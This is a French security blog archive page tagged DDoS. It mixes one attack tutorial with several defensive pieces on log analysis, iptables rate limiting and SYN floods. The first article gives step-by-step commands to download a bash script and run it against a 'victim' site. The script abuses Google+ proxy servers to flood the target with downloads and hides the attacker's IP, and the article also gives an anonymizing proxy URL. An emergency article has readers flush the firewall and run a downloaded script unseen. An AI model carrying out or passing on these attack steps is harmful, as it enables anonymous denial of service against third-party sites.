Archive

Articles taggués ‘DDoS’

Launch DDoS Attack Using Google Servers with +DDoS Bash Script

09/03/2019 Comments off

DDoS-Using-Google+-Servers-HackersGarageRecently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com

Emergency DOS or DDOS stopping script

08/03/2019 Comments off

If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.

DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.

Short and useful slide that definite this script can be view on slideshare

You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.

How to mitigate DoS or DDoS attack?

Stop or flush other rules for now :

service apf stop
iptables -F
wget http://www.hackersgarage.com/wp-content/uploads/2011/08/antiDDoS.txt
mv antiDDoS.txt antiDDoS.sh
chmod u+x antiDDoS.sh
./antiDDoS.sh

Some other useful commands to analyze the type of attacks :

netstat -antp | grep ESTABLISHED
netstat -antp | grep -i sync
netstat --help

Source: hackersgarage.com

Defend Your Web Server Against Distributed Denial of Services (DDos) Attacks

05/03/2019 Comments off

Source: Tech Recipes – Quinn McHenry

In computer security, it quickly becomes apparent that preventing computer attacks is much more challenging than attacking computers. A good example of an easy technique to prevent a website from functioning is a distributed denial of service, or DDoS, attack in which a number of compromised computers around the internet make web (or other protocol) requests on some poor server. If the web page requested is one that requires lots of server-side processing, the resulting load from the combined requests prevents the web server from responding to legitimate requests, thus denying the service. As Tech-Recipes.com was subjected to such an attack recently, we felt it might be beneficial to others if we described the steps we took in our response.


Note: The following information is relevant to UNIX-based servers running Apache (although other platforms and software may be applicable). A prerequisite for this approach requires the use of iptables which likely means you need root access to the server, so this will probably not help you if you are using shared hosting. Sorry! Your best bet in this case is to contact your ISP for their help (good luck) as it is in their best interest to prevent high loads on their shared servers, although it is likely that they will temporarily disable your domain services, which is definitely not the best solution from your perspective.

To minimize the impact of a denial of service attack, you should make yourself aware of problems with your web server in near real-time. Several server monitoring services are available. We use both Pingdom and SiteUptime. Using these services, we have redundant notifications of any service disruption sent to our cell phones via SMS and to several email addresses (none of which are handled by our monitored servers, of course). Using these services, we are notified within a minute of a failed request to our production servers.

Before you implement specific anti-DDoS techniques, it is wise to make sure that the problem is actually a DDoS attack. Services may fail to answer a request for a number of reasons among them the executable running the service dying unexpectedly, the ISP hosting the server experiencing a network or server outage, or some other self-correcting glitch in the matrix. To determine if the service failure is due to a DDoS and to collect information necessary to take actions against the attack, you need to dig around first.

You need access to your access_log, the log file which contains a text entry for every request made to your web server. There are many places that this file can hide and it is dependent on your server setup. When in doubt, you can check the ISP’s documentation (search for access log) — the log data may be accessible through a web console, but it is optimal if you have shell access to your server. If your ISP’s online help is not so helpful in finding the access log, you can use the UNIX find command.

Once you have found your access log, cd into the directory containing the log and run the tail command on it with the -f option:

tail -f access_log

The tail command on its own will display the last 10 lines of the specified file and then quit. The -f option will tell tail to keep running after the last 10 lines are displayed and keep displaying subsequent lines that are added to the file. You’re likely to see a flurry of entries. If you don’t see any log messages after the default 10, you’re either looking at the wrong file or the web server is dead or otherwise not seeing any traffic. It is possible that one server can host many websites and each can have a separate access_log file, so be certain that you’re tailing the right one. If the service is dead, resuscitate it through whatever mechanism is appropriate. We’re going to assume from here on out that you’re seeing a ton of access log messages that look very similar (probably hitting the same URL) that don’t have a valid or any referrer (if the referrer is slashdot.org or digg.com, well, then you can be both happy and sad that the traffic, though server crippling, is legitimate) and have a bunch of different IP addresses. During our recent siege, there were so many bogus requests that very few legitimate requests made it to the access_log file. Here are a few lines from our access_log during the attack:

220.255.7.204 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
220.255.7.209 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
220.255.7.208 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
71.232.78.53 - - [07/Jul/2008:19:28:19 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 14313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

If you aren’t familiar with the default structure of Apache’s access_log, the first value is the source IP address of the request, then the date and time of the request is in square brackets, and the first string in double quotes is the HTTP request made. In our example, the request was always the same: “GET /modules.php?name=Forums&file=index HTTP/1.1” — a GET request of the URL (/modules.php?….) and the HTTP protocol used (1.1). The portion of the URL used is important since it is the one thing we can use to identify the offending IP addresses. The second string in quotes is the referring URL, in our case there isn’t one so it shows up as “-” which lends credence to the suspicion that it is a DDoS attack. The remaining string describes the platform and software that has made the request and isn’t very meaningful or helpful to us as it can easily be forged.

Lire la suite…

Categories: Réseau, Sécurité Tags: , ,

How to protect server from simple DoS attack

04/03/2019 2 commentaires

You can use a firewall to limit the number of concurrent connections and the rate of new connections coming from a network (e.g. a /32 for IPv4 and a /64 for IPv6). Example of what it may look like using iptables:

# Limit number of concurrent connections
-A INPUT -i eth0 -p tcp --syn -m connlimit --connlimit-above 50 -j DROP
# Limit rate of new connections
-A INPUT -i eth0 -p tcp --syn -m hashlimit --hashlimit-name tcp --hashlimit-mode srcip --hashlimit-above 3/sec --hashlimit-burst 7 --hashlimit-srcmask 32 -j DROP

(Same thing for ip6tables except adding --connlimit-mask 64 to the first and changing --hashlimit-srcmask to 64 in the second.)

You can also limit the rate of HTTP requests, for example with the limit_req module of nginx.

Source: serverfault.com

Categories: Réseau, Sécurité Tags: , ,

SynFlood

03/03/2019 Comments off

1 – Le concept

L’attaque SynFlood est basée sur l’envoi massif de demande d’ouverture de session TCP. Les buts recherchés peuvent être :

  • Le Buffer Overflow du process écoutant le port TCP de destination.
  • La saturation du nombre d’ouverture de session TCP en cours.

2 – Le fonctionnement

2.1 – Schéma

2.2 – Envoi du SYN

Le fonctionnement est de générer une trame TCP de demande de synchronisation à destination de la cible. Cette demande de synchronisation SYN est la première étape d’une ouverture de session TCP. Voici le schéma de l’entête TCP avec ce fameux flag SYN basé sur 1 bit :

 

Les 5 autres flags doivent être positionnés à 0.

2.3 – Réception par la cible A

La cible recevant la synchronisation TCP mémorise cette demande nécessitant donc de la mémoire et du processeur. Voici l’état des connexions d’un Windows XP avant la réception d’un Synflood :

 

Et voici après la réception des demandes de SYN :

 

La cible passe les requêtes reçues en SYN_RECEIVED. Cet état est temporaire, le temps de durée de vie est variable en fonction de la pile IP.

Dans mon exemple, la cible tourne sur une station XP limitée en nombre de sessions simultanée. Ceci ayant pour conséquence l’indisponibilité temporaire du port ciblé.

* testé depuis la machine ayant effectuée le Synflood

Lire la suite…

Categories: Réseau, Sécurité Tags: , , ,